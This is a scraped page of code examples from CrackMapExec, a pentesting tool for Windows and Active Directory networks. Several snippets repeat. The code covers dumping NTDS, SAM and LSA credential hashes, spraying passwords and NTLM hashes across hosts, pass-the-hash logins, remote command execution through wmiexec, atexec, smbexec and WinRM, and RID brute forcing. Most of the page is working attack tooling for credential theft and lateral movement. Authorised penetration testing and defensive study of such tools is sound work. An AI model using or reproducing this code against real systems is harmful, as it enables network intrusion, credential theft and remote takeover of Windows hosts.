                logging.debug("Dumped hash is a computer account, not adding to db")
        add_ntds_hash.ntds_hashes = 0
        add_ntds_hash.added_to_db = 0

        if self.remote_ops and self.bootkey:
            try:
                if self.args.ntds == 'vss':
                    NTDSFileName = self.remote_ops.saveNTDS()
                    use_vss_method = True

                NTDS = NTDSHashes(NTDSFileName, self.bootkey, isRemote=True, history=False, noLMHash=True,
                                 remoteOps=self.remote_ops, useVSSMethod=use_vss_method, justNTLM=False,
                                 pwdLastSet=False, resumeSession=None, outputFileName=self.output_filename,
                                 justUser=None, printUserStatus=False,
                                 perSecretCallback = lambda secretType, secret : add_ntds_hash(secret, host_id))

                self.logger.success('Dumping the NTDS, this could take a while so go grab a redbull...')
                NTDS.dump()

                self.logger.success('Dumped {} NTDS hashes to {} of which {} were added to the database'.format(highlight(add_ntds_hash.ntds_hashes), self.output_filename + '.ntds',
                                                                                                                highlight(add_ntds_hash.added_to_db)))

            except Exception as e:
                #if str(e).find('ERROR_DS_DRA_BAD_DN') >= 0:
                    # We don't store the resume file if this error happened, since this error is related to lack
                    # of enough privileges to access DRSUAPI.
                #    resumeFile = NTDS.getResumeSessionFile()
                #    if resumeFile is not None:
                #        os.unlink(resumeFile)
                self.logger.error(e)

            try:
                self.remote_ops.finish()
            except Exception as e:
                logging.debug("Error calling remote_ops.finish(): {}".format(e))

            NTDS.finish()
Exemplo n.º 27
0
 def proto_logger(self):
     self.logger = CMEAdapter(extra={'protocol': 'SSH',
                                     'host': self.host,
                                     'port': self.args.port,
                                     'hostname': self.hostname})
Exemplo n.º 28
0
class Connection:

    def __init__(self, args, db, host, module, cmeserver):
        self.args = args
        self.db = db
        self.host = host
        self.module = module
        self.cmeserver = cmeserver
        self.conn = None
        self.hostname = None
        self.domain = None
        self.server_os = None
        self.logger = None
        self.password = None
        self.username = None
        self.hash = None
        self.admin_privs = False
        self.failed_logins = 0

        try:
            smb = SMBConnection(self.host, self.host, None, self.args.smb_port)

            #Get our IP from the socket
            local_ip = smb.getSMBServer().get_socket().getsockname()[0]

            #Get the remote ip address (in case the target is a hostname)
            remote_ip = smb.getRemoteHost()

            try:
                smb.login('' , '')
            except SessionError as e:
                if "STATUS_ACCESS_DENIED" in e.message:
                    pass

            self.host = remote_ip
            self.domain   = smb.getServerDomain()
            self.hostname = smb.getServerName()
            self.server_os = smb.getServerOS()

            if not self.domain:
                self.domain = self.hostname

            self.db.add_host(self.host, self.hostname, self.domain, self.server_os)

            self.logger = CMEAdapter(getLogger('CME'), {
                                                        'host': self.host,
                                                        'port': self.args.smb_port,
                                                        'hostname': u'{}'.format(self.hostname)
                                                       })

            self.logger.info(u"{} (name:{}) (domain:{})".format(
                                                                self.server_os,
                                                                self.hostname.decode('utf-8'),
                                                                self.domain.decode('utf-8')
                                                                ))

            try:
                '''
                    DC's seem to want us to logoff first, windows workstations sometimes reset the connection
                    (go home Windows, you're drunk)
                '''
                smb.logoff()
            except:
                pass

            if self.args.mssql:
                instances = None
                self.logger.extra['port'] = self.args.mssql_port

                mssql = tds.MSSQL(self.host, self.args.mssql_port, self.logger)
                mssql.connect()

                instances = mssql.getInstances(10)
                if len(instances) > 0:
                    self.logger.info("Found {} MSSQL instance(s)".format(len(instances)))
                    for i, instance in enumerate(instances):
                        self.logger.highlight("Instance {}".format(i))
                        for key in instance.keys():
                            self.logger.highlight(key + ":" + instance[key])

                try:
                    mssql.disconnect()
                except:
                    pass

            if (self.args.username and (self.args.password or self.args.hash)) or self.args.cred_id:

                if self.args.mssql and (instances is not None and len(instances) > 0):
                    self.conn = tds.MSSQL(self.host, self.args.mssql_port, self.logger)
                    self.conn.connect()

                elif not args.mssql:
                    self.conn = SMBConnection(self.host, self.host, None, self.args.smb_port)

        except socket.error:
            pass

        if self.conn:
            if self.args.domain:
                self.domain = self.args.domain

            if self.args.local_auth:
                self.domain = self.hostname

            self.login()

            if ((self.password is not None or self.hash is not None) and self.username is not None):

                if self.module:
                    module_logger = CMEAdapter(getLogger('CME'), {
                                                                  'module': module.name.upper(),
                                                                  'host': self.host,
                                                                  'port': self.args.smb_port,
                                                                  'hostname': self.hostname
                                                                 })
                    context = Context(self.db, module_logger, self.args)
                    context.localip  = local_ip

                    if hasattr(module, 'on_request') or hasattr(module, 'has_response'):
                        cmeserver.server.context.localip = local_ip

                    if hasattr(module, 'on_login'):
                        module.on_login(context, self)

                    if hasattr(module, 'on_admin_login') and self.admin_privs:
                        module.on_admin_login(context, self)

                elif self.module is None:
                    for k, v in vars(self.args).iteritems():
                        if hasattr(self, k) and hasattr(getattr(self, k), '__call__'):
                            if v is not False and v is not None:
                                getattr(self, k)()

    def over_fail_limit(self, username):
        global global_failed_logins
        global user_failed_logins

        if global_failed_logins == self.args.gfail_limit: return True
        if self.failed_logins == self.args.fail_limit: return True
        if username in user_failed_logins.keys():
            if self.args.ufail_limit == user_failed_logins[username]: return True

        return False

    def check_if_admin(self):
        if self.args.mssql:
            try:
                #I'm pretty sure there has to be a better way of doing this.
                #Currently we are just searching for our user in the sysadmin group

                self.conn.sql_query("EXEC sp_helpsrvrolemember 'sysadmin'")
                query_output = self.conn.printRows()
                if query_output.find('{}\\{}'.format(self.domain, self.username)) != -1:
                    self.admin_privs = True
            except:
                pass

        elif not self.args.mssql:
            '''
                We use the OpenSCManagerW Win32API call to to establish a handle to the remote host.
                If this succeeds, the user context has administrator access to the target.

                Idea stolen from PowerView's Invoke-CheckLocalAdminAccess
            '''

            stringBinding = r'ncacn_np:{}[\pipe\svcctl]'.format(self.host)

            rpctransport = transport.DCERPCTransportFactory(stringBinding)
            rpctransport.set_dport(self.args.smb_port)

            lmhash = ''
            nthash = ''
            if self.hash:
                if self.hash.find(':') != -1:
                    lmhash, nthash = self.hash.split(':')
                else:
                    nthash = self.hash

            if hasattr(rpctransport, 'set_credentials'):
                # This method exists only for selected protocol sequences.
                rpctransport.set_credentials(self.username, self.password if self.password is not None else '', self.domain, lmhash, nthash)
            dce = rpctransport.get_dce_rpc()
            dce.connect()
            dce.bind(scmr.MSRPC_UUID_SCMR)

            lpMachineName = '{}\x00'.format(self.host)
            try:

                # 0xF003F - SC_MANAGER_ALL_ACCESS
                # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx

                resp = scmr.hROpenSCManagerW(dce, lpMachineName, 'ServicesActive\x00', 0xF003F)
                self.admin_privs = True
            except DCERPCException:
                pass

    def plaintext_login(self, domain, username, password):
        try:
            if self.args.mssql:
                res = self.conn.login(None, username, password, domain, None, True if self.args.mssql_auth == 'windows' else False)
                if res is not True:
                    self.conn.printReplies()
                    return False

            elif not self.args.mssql:
                self.conn.login(username, password, domain)

            self.password = password
            self.username = username
            self.domain = domain
            self.check_if_admin()
            self.db.add_credential('plaintext', domain, username, password)

            if self.admin_privs:
                self.db.link_cred_to_host('plaintext', domain, username, password, self.host)

            out = u'{}\\{}:{} {}'.format(domain.decode('utf-8'),
                                         username.decode('utf-8'),
                                         password.decode('utf-8'),
                                         highlight('(Pwn3d!)') if self.admin_privs else '')

            self.logger.success(out)
            return True
        except SessionError as e:
            error, desc = e.getErrorString()
            self.logger.error(u'{}\\{}:{} {} {}'.format(domain.decode('utf-8'),
                                                        username.decode('utf-8'),
                                                        password.decode('utf-8'),
                                                        error,
                                                        '({})'.format(desc) if self.args.verbose else ''))
            if error == 'STATUS_LOGON_FAILURE':
                global global_failed_logins
                global user_failed_logins

                if username not in user_failed_logins.keys():
                    user_failed_logins[username] = 0

                user_failed_logins[username] += 1
                global_failed_logins += 1
                self.failed_logins += 1

            return False

    def hash_login(self, domain, username, ntlm_hash):
        lmhash = ''
        nthash = ''

        #This checks to see if we didn't provide the LM Hash
        if ntlm_hash.find(':') != -1:
            lmhash, nthash = ntlm_hash.split(':')
        else:
            nthash = ntlm_hash

        try:
            if self.args.mssql:
                res = self.conn.login(None, username, '', domain, ':' + nthash if not lmhash else ntlm_hash, True if self.args.mssql_auth == 'windows' else False)
                if res is not True:
                    self.conn.printReplies()
                    return False

            elif not self.args.mssql:
                self.conn.login(username, '', domain, lmhash, nthash)

            self.hash = ntlm_hash
            self.username = username
            self.domain = domain
            self.check_if_admin()
            self.db.add_credential('hash', domain, username, ntlm_hash)

            if self.admin_privs:
                self.db.link_cred_to_host('hash', domain, username, ntlm_hash, self.host)

            out = u'{}\\{} {} {}'.format(domain.decode('utf-8'),
                                         username.decode('utf-8'),
                                         ntlm_hash,
                                         highlight('(Pwn3d!)') if self.admin_privs else '')

            self.logger.success(out)
            return True
        except SessionError as e:
            error, desc = e.getErrorString()
            self.logger.error(u'{}\\{} {} {} {}'.format(domain.decode('utf-8'),
                                                        username.decode('utf-8'),
                                                        ntlm_hash,
                                                        error,
                                                        '({})'.format(desc) if self.args.verbose else ''))
            if error == 'STATUS_LOGON_FAILURE':
                global global_failed_logins
                global user_failed_logins

                if username not in user_failed_logins.keys():
                    user_failed_logins[username] = 0

                user_failed_logins[username] += 1
                global_failed_logins += 1
                self.failed_logins += 1

            return False

    def login(self):
        for cred_id in self.args.cred_id:
            with sem:
                try:
                    c_id, credtype, domain, username, password = self.db.get_credentials(filterTerm=cred_id)[0]

                    if not domain: domain = self.domain

                    if self.args.local_auth:
                        domain = self.domain
                    elif self.args.domain:
                        domain = self.args.domain

                    if credtype == 'hash' and not self.over_fail_limit(username):
                        self.hash_login(domain, username, password)

                    elif credtype == 'plaintext' and not self.over_fail_limit(username):
                        self.plaintext_login(domain, username, password)

                except IndexError:
                    self.logger.error("Invalid database credential ID!")

        for user in self.args.username:
            if type(user) is file:
                for usr in user:
                    if self.args.hash:
                        with sem:
                            for ntlm_hash in self.args.hash:
                                if type(ntlm_hash) is not file:
                                    if not self.over_fail_limit(usr.strip()):
                                        if self.hash_login(self.domain, usr.strip(), ntlm_hash): return

                                elif type(ntlm_hash) is file:
                                    for f_hash in ntlm_hash:
                                        if not self.over_fail_limit(usr.strip()):
                                            if self.hash_login(self.domain, usr.strip(), f_hash.strip()): return
                                    ntlm_hash.seek(0)

                    elif self.args.password:
                        with sem:
                            for password in self.args.password:
                                if type(password) is not file:
                                    if not self.over_fail_limit(usr.strip()):
                                        if self.plaintext_login(self.domain, usr.strip(), password): return

                                elif type(password) is file:
                                    for f_pass in password:
                                        if not self.over_fail_limit(usr.strip()):
                                            if self.plaintext_login(self.domain, usr.strip(), f_pass.strip()): return
                                    password.seek(0)

            elif type(user) is not file:
                    if self.args.hash:
                        with sem:
                            for ntlm_hash in self.args.hash:
                                if type(ntlm_hash) is not file:
                                    if not self.over_fail_limit(user):
                                        if self.hash_login(self.domain, user, ntlm_hash): return

                                elif type(ntlm_hash) is file:
                                    for f_hash in ntlm_hash:
                                        if not self.over_fail_limit(user):
                                            if self.hash_login(self.domain, user, f_hash.strip()): return
                                    ntlm_hash.seek(0)

                    elif self.args.password:
                        with sem:
                            for password in self.args.password:
                                if type(password) is not file:
                                    if not self.over_fail_limit(user):
                                        if self.plaintext_login(self.domain, user, password): return

                                elif type(password) is file:
                                    for f_pass in password:
                                        if not self.over_fail_limit(user):
                                            if self.plaintext_login(self.domain, user, f_pass.strip()): return
                                    password.seek(0)

    @requires_admin
    def execute(self, payload=None, get_output=False, methods=None):

        default_methods = ['wmiexec', 'atexec', 'smbexec']

        if not payload and self.args.execute:
            payload = self.args.execute
            if not self.args.no_output: get_output = True

        if self.args.mssql:
            exec_method = MSSQLEXEC(self.conn)
            logging.debug('Executed command via mssqlexec')

        elif not self.args.mssql:

            if not methods and not self.args.exec_method:
                methods = default_methods

            elif methods or self.args.exec_method:

                if not methods:
                    methods = [self.args.exec_method]

            for method in methods:

                if method == 'wmiexec':
                    try:
                        exec_method = WMIEXEC(self.host, self.username, self.password, self.domain, self.conn, self.hash, self.args.share)
                        logging.debug('Executed command via wmiexec')
                        break
                    except:
                        logging.debug('Error executing command via wmiexec, traceback:')
                        logging.debug(format_exc())
                        continue

                elif method == 'atexec':
                    try:
                        exec_method = TSCH_EXEC(self.host, self.username, self.password, self.domain, self.hash) #self.args.share)
                        logging.debug('Executed command via atexec')
                        break
                    except:
                        logging.debug('Error executing command via atexec, traceback:')
                        logging.debug(format_exc())
                        continue

                elif method == 'smbexec':
                    try:
                        exec_method = SMBEXEC(self.host, self.args.smb_port, self.username, self.password, self.domain, self.hash, self.args.share)
                        logging.debug('Executed command via smbexec')
                        break
                    except:
                        logging.debug('Error executing command via smbexec, traceback:')
                        logging.debug(format_exc())
                        continue

        if self.cmeserver:
            if hasattr(self.cmeserver.server.module, 'on_request') or hasattr(self.cmeserver.server.module, 'on_response'):
                self.cmeserver.server.hosts.append(self.host)

        output = u'{}'.format(exec_method.execute(payload, get_output).strip().decode('utf-8'))

        if self.args.execute or self.args.ps_execute:
            self.logger.success('Executed command {}'.format('via {}'.format(self.args.exec_method) if self.args.exec_method else ''))
            buf = StringIO(output).readlines()
            for line in buf:
                self.logger.highlight(line.strip())

        return output

    @requires_admin
    def ps_execute(self, payload=None, get_output=False, methods=None):
        if not payload and self.args.ps_execute:
            payload = self.args.ps_execute
            if not self.args.no_output: get_output = True

        return self.execute(create_ps_command(payload), get_output, methods)

    @requires_admin
    def sam(self):
        return DumpSecrets(self).SAM_dump()

    @requires_admin
    def lsa(self):
        return DumpSecrets(self).LSA_dump()

    @requires_admin
    def ntds(self):
        #We could just return the whole NTDS.dit database but in large domains it would be huge and would take up too much memory
        DumpSecrets(self).NTDS_dump(self.args.ntds, self.args.ntds_pwdLastSet, self.args.ntds_history)

    @requires_admin
    def wdigest(self):
        return getattr(WDIGEST(self), self.args.wdigest)()

    def shares(self):
        return ShareEnum(self).enum()

    @requires_admin
    def uac(self):
        return UAC(self).enum()

    def sessions(self):
        return RPCQUERY(self).enum_sessions()

    def disks(self):
        return RPCQUERY(self).enum_disks()

    def users(self):
        return SAMRDump(self).enum()

    def rid_brute(self):
        return LSALookupSid(self).brute_force()

    def pass_pol(self):
        return PassPolDump(self).enum()

    def lusers(self):
        return RPCQUERY(self).enum_lusers()

    @requires_admin
    def wmi(self):
        return WMIQUERY(self).query()

    def spider(self):
        spider = SMBSpider(self)
        spider.spider(self.args.spider, self.args.depth)
        spider.finish()

        return spider.results

    def mssql_query(self):
        self.conn.sql_query(self.args.mssql_query)
        return conn.printRows()
Exemplo n.º 29
0
class winrm(connection):

    def __init__(self, args, db, host):
        self.domain = None

        connection.__init__(self, args, db, host)

    @staticmethod
    def proto_args(parser, std_parser, module_parser):
        winrm_parser = parser.add_parser('winrm', help="own stuff using WINRM", parents=[std_parser, module_parser])
        dgroup = winrm_parser.add_mutually_exclusive_group()
        dgroup.add_argument("-d", metavar="DOMAIN", dest='domain', type=str, default=None, help="domain to authenticate to")
        dgroup.add_argument("--local-auth", action='store_true', help='authenticate locally to each target')
        cgroup = winrm_parser.add_argument_group("Command Execution", "Options for executing commands")
        cgroup.add_argument('--no-output', action='store_true', help='do not retrieve command output')
        cgroup.add_argument("-x", metavar="COMMAND", dest='execute', help="execute the specified command")
        cgroup.add_argument("-X", metavar="PS_COMMAND", dest='ps_execute', help='execute the specified PowerShell command')

        return parser

    def proto_flow(self):
        self.proto_logger()
        if self.create_conn_obj():
            self.enum_host_info()
            self.print_host_info()
            if self.login():
                if hasattr(self.args, 'module') and self.args.module:
                    self.call_modules()
                else:
                    self.call_cmd_args()

    def proto_logger(self):
        self.logger = CMEAdapter(extra={'protocol': 'WINRM',
                                        'host': self.host,
                                        'port': 'NONE',
                                        'hostname': 'NONE'})

    def enum_host_info(self):
        try:
            smb_conn = SMBConnection(self.host, self.host, None)
            try:
                smb_conn.login('', '')
            except SessionError as e:
                if "STATUS_ACCESS_DENIED" in e.message:
                    pass

            self.domain = smb_conn.getServerDomain()
            self.hostname = smb_conn.getServerName()

            self.logger.extra['hostname'] = self.hostname

            try:
                smb_conn.logoff()
            except:
                pass

        except Exception as e:
            logging.debug("Error retrieving host domain: {} specify one manually with the '-d' flag".format(e))

        if self.args.domain:
            self.domain = self.args.domain

        if self.args.local_auth:
            self.domain = self.hostname

    def print_host_info(self):
        self.logger.info(self.endpoint)

    def create_conn_obj(self):
        endpoints = [
            'https://{}:5986/wsman'.format(self.host),
            'http://{}:5985/wsman'.format(self.host)
        ]

        for url in endpoints:
            try:
                requests.get(url, verify=False, timeout=10)
                self.endpoint = url
                if self.endpoint.startswith('https://'):
                    self.port = 5986
                else:
                    self.port = 5985

                self.logger.extra['port'] = self.port

                return True
            except Exception as e:
                if 'Max retries exceeded with url' not in str(e):
                    logging.debug('Error in WinRM create_conn_obj:' + str(e))

        return False

    def plaintext_login(self, domain, username, password):
        try:
            self.conn = pywinrm.Session(self.host,
                                        auth=('{}\\{}'.format(domain, username), password),
                                        transport='ntlm',
                                        server_cert_validation='ignore')

            # TO DO: right now we're just running the hostname command to make the winrm library auth to the server
            # we could just authenticate without running a command :) (probably)
            self.conn.run_cmd('hostname')
            self.admin_privs = True
            self.logger.success(u'{}\\{}:{} {}'.format(self.domain.decode('utf-8'),
                                                       username.decode('utf-8'),
                                                       password.decode('utf-8'),
                                                       highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')))

            return True

        except Exception as e:
            self.logger.error(u'{}\\{}:{} "{}"'.format(self.domain.decode('utf-8'),
                                                       username.decode('utf-8'),
                                                       password.decode('utf-8'),
                                                       e))

            return False

    def parse_output(self, response_obj):
        if response_obj.status_code == 0:
            buf = StringIO(response_obj.std_out).readlines()
            for line in buf:
                self.logger.highlight(line.decode('utf-8').strip())

            return response_obj.std_out

        else:
            buf = StringIO(response_obj.std_err).readlines()
            for line in buf:
                self.logger.highlight(line.decode('utf-8').strip())

            return response_obj.std_err

    def execute(self, payload=None, get_output=False):
        r = self.conn.run_cmd(self.args.execute)
        self.logger.success('Executed command')
        self.parse_output(r)

    def ps_execute(self, payload=None, get_output=False):
        r = self.conn.run_ps(self.args.ps_execute)
        self.logger.success('Executed command')
        self.parse_output(r)
Exemplo n.º 30
0
def main():

    setup_logger()
    logger = CMEAdapter()
    first_run_setup(logger)

    args = gen_cli_args()

    if args.darrell:
        links = open(os.path.join(os.path.dirname(cme.__file__), 'data', 'videos_for_darrell.harambe')).read().splitlines()
        try:
            webbrowser.open(random.choice(links))
        except:
            sys.exit(1)

    cme_path = os.path.expanduser('~/.cme')

    config = ConfigParser()
    config.read(os.path.join(cme_path, 'cme.conf'))

    module  = None
    module_server = None
    targets = []
    jitter = None
    server_port_dict = {'http': 80, 'https': 443, 'smb': 445}
    current_workspace = config.get('CME', 'workspace')

    if args.verbose:
        setup_debug_logger()

    logging.debug('Passed args:\n' + pformat(vars(args)))

    if args.jitter:
        if '-' in args.jitter:
            start, end = args.jitter.split('-')
            jitter = (int(start), int(end))
        else:
            jitter = (0, int(args.jitter))

    if hasattr(args, 'username') and args.username:
        for user in args.username:
            if os.path.exists(user):
                args.username.remove(user)
                args.username.append(open(user, 'r'))

    if hasattr(args, 'password') and args.password:
        for passw in args.password:
            if os.path.exists(passw):
                args.password.remove(passw)
                args.password.append(open(passw, 'r'))

    elif hasattr(args, 'hash') and args.hash:
        for ntlm_hash in args.hash:
            if os.path.exists(ntlm_hash):
                args.hash.remove(ntlm_hash)
                args.hash.append(open(ntlm_hash, 'r'))

    if hasattr(args, 'cred_id') and args.cred_id:
        for cred_id in args.cred_id:
            if '-' in str(cred_id):
                start_id, end_id = cred_id.split('-')
                try:
                    for n in range(int(start_id), int(end_id) + 1):
                        args.cred_id.append(n)
                    args.cred_id.remove(cred_id)
                except Exception as e:
                    logger.error('Error parsing database credential id: {}'.format(e))
                    sys.exit(1)

    if hasattr(args, 'target') and args.target:
        for target in args.target:
            if os.path.exists(target):
                with open(target, 'r') as target_file:
                    for target_entry in target_file:
                        targets.extend(parse_targets(target_entry))
            else:
                targets.extend(parse_targets(target))

    # The following is a quick hack for the powershell obfuscation functionality, I know this is yucky
    if hasattr(args, 'clear_obfscripts') and args.clear_obfscripts:
        shutil.rmtree(os.path.expanduser('~/.cme/obfuscated_scripts/'))
        os.mkdir(os.path.expanduser('~/.cme/obfuscated_scripts/'))
        logger.success('Cleared cached obfuscated PowerShell scripts')

    if hasattr(args, 'obfs') and args.obfs:
        powershell.obfuscate_ps_scripts = True

    p_loader = protocol_loader()
    protocol_path = p_loader.get_protocols()[args.protocol]['path']
    protocol_db_path = p_loader.get_protocols()[args.protocol]['dbpath']

    protocol_object = getattr(p_loader.load_protocol(protocol_path), args.protocol)
    protocol_db_object = getattr(p_loader.load_protocol(protocol_db_path), 'database')

    db_path = os.path.join(cme_path, 'workspaces', current_workspace, args.protocol + '.db')
    # set the database connection to autocommit w/ isolation level
    db_connection = sqlite3.connect(db_path, check_same_thread=False)
    db_connection.text_factory = str
    db_connection.isolation_level = None
    db = protocol_db_object(db_connection)

    if hasattr(args, 'module'):

        loader = module_loader(args, db, logger)

        if args.list_modules:
            modules = loader.get_modules()

            for name, props in sorted(modules.items()):
                logger.info('{:<25} {}'.format(name, props['description']))
            sys.exit(0)

        elif args.module and args.show_module_options:

            modules = loader.get_modules()
            for name, props in modules.items():
                if args.module.lower() == name.lower():
                    logger.info('{} module options:\n{}'.format(name, props['options']))
            sys.exit(0)

        elif args.module:
            modules = loader.get_modules()
            for name, props in modules.items():
                if args.module.lower() == name.lower():
                    module = loader.init_module(props['path'])
                    setattr(protocol_object, 'module', module)
                    break

            if not module:
                logger.error('Module not found')
                exit(1)

            if getattr(module, 'opsec_safe') is False:
                ans = raw_input(highlight('[!] Module is not opsec safe, are you sure you want to run this? [Y/n] ', 'red'))
                if ans.lower() not in ['y', 'yes', '']:
                    sys.exit(1)

            if getattr(module, 'multiple_hosts') is False and len(targets) > 1:
                ans = raw_input(highlight("[!] Running this module on multiple hosts doesn't really make any sense, are you sure you want to continue? [Y/n] ", 'red'))
                if ans.lower() not in ['y', 'yes', '']:
                    sys.exit(1)

            if hasattr(module, 'on_request') or hasattr(module, 'has_response'):

                if hasattr(module, 'required_server'):
                    args.server = getattr(module, 'required_server')

                if not args.server_port:
                    args.server_port = server_port_dict[args.server]

                context = Context(db, logger, args)
                module_server = CMEServer(module, context, logger, args.server_host, args.server_port, args.server)
                module_server.start()
                setattr(protocol_object, 'server', module_server.server)

    try:
        '''
            Open all the greenlet (as supposed to redlet??) threads
            Whoever came up with that name has a fetish for traffic lights
        '''
        pool = Pool(args.threads)
        jobs = []
        for target in targets:
            jobs.append(pool.spawn(protocol_object, args, db, str(target)))

            if jitter:
                value = random.choice(range(jitter[0], jitter[1]))
                logging.debug("Doin' the Jitterbug for {} seconds".format(value))
                sleep(value)

        for job in jobs:
            job.join(timeout=args.timeout)
    except KeyboardInterrupt:
        pass

    if module_server: module_server.shutdown()
Exemplo n.º 31
0
 def proto_logger(self):
     self.logger = CMEAdapter(extra={'protocol': 'WINRM',
                                     'host': self.host,
                                     'port': 'NONE',
                                     'hostname': 'NONE'})
Exemplo n.º 32
0
 def log_message(self, format, *args):
     server_logger = CMEAdapter(extra={'module': self.server.module.name.upper(), 'host': self.client_address[0]})
     server_logger.info("- - %s" % (format%args))
Exemplo n.º 33
0
    def __init__(self, args, db, host, module, cmeserver):
        self.args = args
        self.db = db
        self.host = host
        self.module = module
        self.cmeserver = cmeserver
        self.conn = None
        self.hostname = None
        self.domain = None
        self.server_os = None
        self.logger = None
        self.password = None
        self.username = None
        self.hash = None
        self.admin_privs = False
        self.failed_logins = 0

        try:
            smb = SMBConnection(self.host, self.host, None, self.args.smb_port)

            #Get our IP from the socket
            local_ip = smb.getSMBServer().get_socket().getsockname()[0]

            #Get the remote ip address (in case the target is a hostname)
            remote_ip = smb.getRemoteHost()

            try:
                smb.login('' , '')
            except SessionError as e:
                if "STATUS_ACCESS_DENIED" in e.message:
                    pass

            self.host = remote_ip
            self.domain   = smb.getServerDomain()
            self.hostname = smb.getServerName()
            self.server_os = smb.getServerOS()

            if not self.domain:
                self.domain = self.hostname

            self.db.add_host(self.host, self.hostname, self.domain, self.server_os)

            self.logger = CMEAdapter(getLogger('CME'), {
                                                        'host': self.host,
                                                        'port': self.args.smb_port,
                                                        'hostname': u'{}'.format(self.hostname)
                                                       })

            self.logger.info(u"{} (name:{}) (domain:{})".format(
                                                                self.server_os,
                                                                self.hostname.decode('utf-8'),
                                                                self.domain.decode('utf-8')
                                                                ))

            try:
                '''
                    DC's seem to want us to logoff first, windows workstations sometimes reset the connection
                    (go home Windows, you're drunk)
                '''
                smb.logoff()
            except:
                pass

            if self.args.mssql:
                instances = None
                self.logger.extra['port'] = self.args.mssql_port

                mssql = tds.MSSQL(self.host, self.args.mssql_port, self.logger)
                mssql.connect()

                instances = mssql.getInstances(10)
                if len(instances) > 0:
                    self.logger.info("Found {} MSSQL instance(s)".format(len(instances)))
                    for i, instance in enumerate(instances):
                        self.logger.highlight("Instance {}".format(i))
                        for key in instance.keys():
                            self.logger.highlight(key + ":" + instance[key])

                try:
                    mssql.disconnect()
                except:
                    pass

            if (self.args.username and (self.args.password or self.args.hash)) or self.args.cred_id:

                if self.args.mssql and (instances is not None and len(instances) > 0):
                    self.conn = tds.MSSQL(self.host, self.args.mssql_port, self.logger)
                    self.conn.connect()

                elif not args.mssql:
                    self.conn = SMBConnection(self.host, self.host, None, self.args.smb_port)

        except socket.error:
            pass

        if self.conn:
            if self.args.domain:
                self.domain = self.args.domain

            if self.args.local_auth:
                self.domain = self.hostname

            self.login()

            if ((self.password is not None or self.hash is not None) and self.username is not None):

                if self.module:
                    module_logger = CMEAdapter(getLogger('CME'), {
                                                                  'module': module.name.upper(),
                                                                  'host': self.host,
                                                                  'port': self.args.smb_port,
                                                                  'hostname': self.hostname
                                                                 })
                    context = Context(self.db, module_logger, self.args)
                    context.localip  = local_ip

                    if hasattr(module, 'on_request') or hasattr(module, 'has_response'):
                        cmeserver.server.context.localip = local_ip

                    if hasattr(module, 'on_login'):
                        module.on_login(context, self)

                    if hasattr(module, 'on_admin_login') and self.admin_privs:
                        module.on_admin_login(context, self)

                elif self.module is None:
                    for k, v in vars(self.args).iteritems():
                        if hasattr(self, k) and hasattr(getattr(self, k), '__call__'):
                            if v is not False and v is not None:
                                getattr(self, k)()
Exemplo n.º 34
0
def main():

    VERSION = '3.1.5dev'
    CODENAME = '\'Smidge\''

    parser = argparse.ArgumentParser(
        description="""
      ______ .______           ___        ______  __  ___ .___  ___.      ___      .______    _______ ___   ___  _______   ______
     /      ||   _  \         /   \      /      ||  |/  / |   \/   |     /   \     |   _  \  |   ____|\  \ /  / |   ____| /      |
    |  ,----'|  |_)  |       /  ^  \    |  ,----'|  '  /  |  \  /  |    /  ^  \    |  |_)  | |  |__    \  V  /  |  |__   |  ,----'
    |  |     |      /       /  /_\  \   |  |     |    <   |  |\/|  |   /  /_\  \   |   ___/  |   __|    >   <   |   __|  |  |
    |  `----.|  |\  \----. /  _____  \  |  `----.|  .  \  |  |  |  |  /  _____  \  |  |      |  |____  /  .  \  |  |____ |  `----.
     \______|| _| `._____|/__/     \__\  \______||__|\__\ |__|  |__| /__/     \__\ | _|      |_______|/__/ \__\ |_______| \______|


                     Swiss army knife for pentesting Windows/Active Directory environments | @byt3bl33d3r

                           Powered by Impacket https://github.com/CoreSecurity/impacket (@agsolino)

                                                       Inspired by:
                                @ShawnDEvans's smbmap https://github.com/ShawnDEvans/smbmap
                                @gojhonny's CredCrack https://github.com/gojhonny/CredCrack
                                @pentestgeek's smbexec https://github.com/pentestgeek/smbexec

                                                      {}: {}
                                                     {}: {}
    """.format(highlight('Version', 'red'), highlight(VERSION),
               highlight('Codename', 'red'), highlight(CODENAME)),
        formatter_class=RawTextHelpFormatter,
        version='{} - {}'.format(VERSION, CODENAME),
        epilog="Y'all got any more of that smidge left?")

    parser.add_argument(
        "target",
        nargs='*',
        type=str,
        help=
        "The target IP(s), range(s), CIDR(s), hostname(s), FQDN(s) or file(s) containg a list of targets"
    )
    parser.add_argument(
        "-t",
        type=int,
        dest="threads",
        default=100,
        help="Set how many concurrent threads to use (default: 100)")
    parser.add_argument(
        '-id',
        metavar="CRED_ID",
        nargs='+',
        default=[],
        type=str,
        dest='cred_id',
        help='Database credential ID(s) to use for authentication')
    parser.add_argument("-u",
                        metavar="USERNAME",
                        dest='username',
                        nargs='+',
                        default=[],
                        help="Username(s) or file(s) containing usernames")
    ddgroup = parser.add_mutually_exclusive_group()
    ddgroup.add_argument("-d",
                         metavar="DOMAIN",
                         dest='domain',
                         type=str,
                         help="Domain name")
    ddgroup.add_argument("--local-auth",
                         action='store_true',
                         help='Authenticate locally to each target')
    msgroup = parser.add_mutually_exclusive_group()
    msgroup.add_argument("-p",
                         metavar="PASSWORD",
                         dest='password',
                         nargs='+',
                         default=[],
                         help="Password(s) or file(s) containing passwords")
    msgroup.add_argument(
        "-H",
        metavar="HASH",
        dest='hash',
        nargs='+',
        default=[],
        help='NTLM hash(es) or file(s) containing NTLM hashes')
    mcgroup = parser.add_mutually_exclusive_group()
    mcgroup.add_argument("-M",
                         "--module",
                         metavar='MODULE',
                         help='Payload module to use')
    parser.add_argument('-o',
                        metavar='MODULE_OPTION',
                        nargs='+',
                        default=[],
                        dest='module_options',
                        help='Payload module options')
    parser.add_argument('-L',
                        '--list-modules',
                        action='store_true',
                        help='List available modules')
    parser.add_argument('--show-options',
                        action='store_true',
                        help='Display module options')
    parser.add_argument("--share",
                        metavar="SHARE",
                        default="C$",
                        help="Specify a share (default: C$)")
    parser.add_argument("--smb-port",
                        type=int,
                        choices={139, 445},
                        default=445,
                        help="SMB port (default: 445)")
    parser.add_argument("--mssql-port",
                        default=1433,
                        type=int,
                        metavar='PORT',
                        help='MSSQL port (default: 1433)')
    parser.add_argument("--server",
                        choices={'http', 'https'},
                        default='https',
                        help='Use the selected server (default: https)')
